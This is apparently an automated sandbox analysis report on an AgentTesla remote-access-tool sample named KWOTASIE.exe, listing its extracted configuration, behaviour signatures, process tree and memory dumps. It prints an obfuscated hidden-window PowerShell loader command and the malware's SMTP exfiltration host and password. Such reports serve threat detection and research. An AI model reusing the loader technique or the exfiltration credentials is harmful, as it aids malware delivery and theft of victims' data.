Analysis
- max time kernel
148s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
- submitted
10/07/2024, 17:18
General
- Target KWOTASIE.exe
- Size 874KB
- Sample240710-vt9jpssdqa
- SHA256 86d0b3c927b629f98bb72beebcdee8a831df152a6a2cedb0d65270c23069037c
Malware Config
Extracted
-
agenttesla
-
Protocol
smtp
-
Host
mail.lumies.co.za
-
Port
587
-
Username
-
Password
vj$)KFsCyFOr
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\KWOTASIE.exe"C:\Users\Admin\AppData\Local\Temp\KWOTASIE.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden " $Atomicity=cat 'C:\Users\Admin\AppData\Local\forfrdelige\begyndervanskelighederne\femmers.For';$Cust=$Atomicity.substring(66672,3);.$Cust($Atomicity)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_xnv0ypim.f53.ps1
Antideflation.Cof
femmers.For
memory/1196-40-0x0000000073E40000-0x00000000745F0000-memory.dmp
memory/1196-46-0x0000000073E40000-0x00000000745F0000-memory.dmp
memory/1196-18-0x00000000059A0000-0x00000000059C2000-memory.dmp
memory/1196-20-0x0000000006110000-0x0000000006176000-memory.dmp
memory/1196-19-0x00000000060A0000-0x0000000006106000-memory.dmp
memory/1196-15-0x0000000005A00000-0x0000000006028000-memory.dmp
memory/1196-23-0x0000000006180000-0x00000000064D4000-memory.dmp
memory/1196-31-0x0000000006950000-0x000000000696E000-memory.dmp
memory/1196-32-0x0000000006990000-0x00000000069DC000-memory.dmp
memory/1196-33-0x0000000006EC0000-0x0000000006F56000-memory.dmp
memory/1196-34-0x0000000006E70000-0x0000000006E8A000-memory.dmp
memory/1196-35-0x0000000007950000-0x0000000007972000-memory.dmp
memory/1196-36-0x0000000007F30000-0x00000000084D4000-memory.dmp
memory/1196-16-0x0000000073E40000-0x00000000745F0000-memory.dmp
memory/1196-17-0x0000000073E40000-0x00000000745F0000-memory.dmp
memory/1196-13-0x0000000073E4E000-0x0000000073E4F000-memory.dmp
memory/1196-48-0x0000000073E4E000-0x0000000073E4F000-memory.dmp
memory/1196-38-0x0000000008B60000-0x00000000091DA000-memory.dmp
memory/1196-14-0x0000000005390000-0x00000000053C6000-memory.dmp
memory/1196-44-0x0000000073E40000-0x00000000745F0000-memory.dmp
memory/1196-42-0x0000000073E40000-0x00000000745F0000-memory.dmp
memory/1196-45-0x00000000091E0000-0x000000000BFD6000-memory.dmp
memory/1196-41-0x0000000073E40000-0x00000000745F0000-memory.dmp
memory/1196-49-0x0000000073E40000-0x00000000745F0000-memory.dmp
memory/1196-50-0x0000000073E40000-0x00000000745F0000-memory.dmp
memory/2080-54-0x0000000001100000-0x0000000002354000-memory.dmp
memory/2080-55-0x0000000001100000-0x0000000001142000-memory.dmp
memory/2080-56-0x0000000023BE0000-0x0000000023C30000-memory.dmp
memory/2080-57-0x0000000023CD0000-0x0000000023D62000-memory.dmp
memory/2080-58-0x0000000023C30000-0x0000000023C3A000-memory.dmp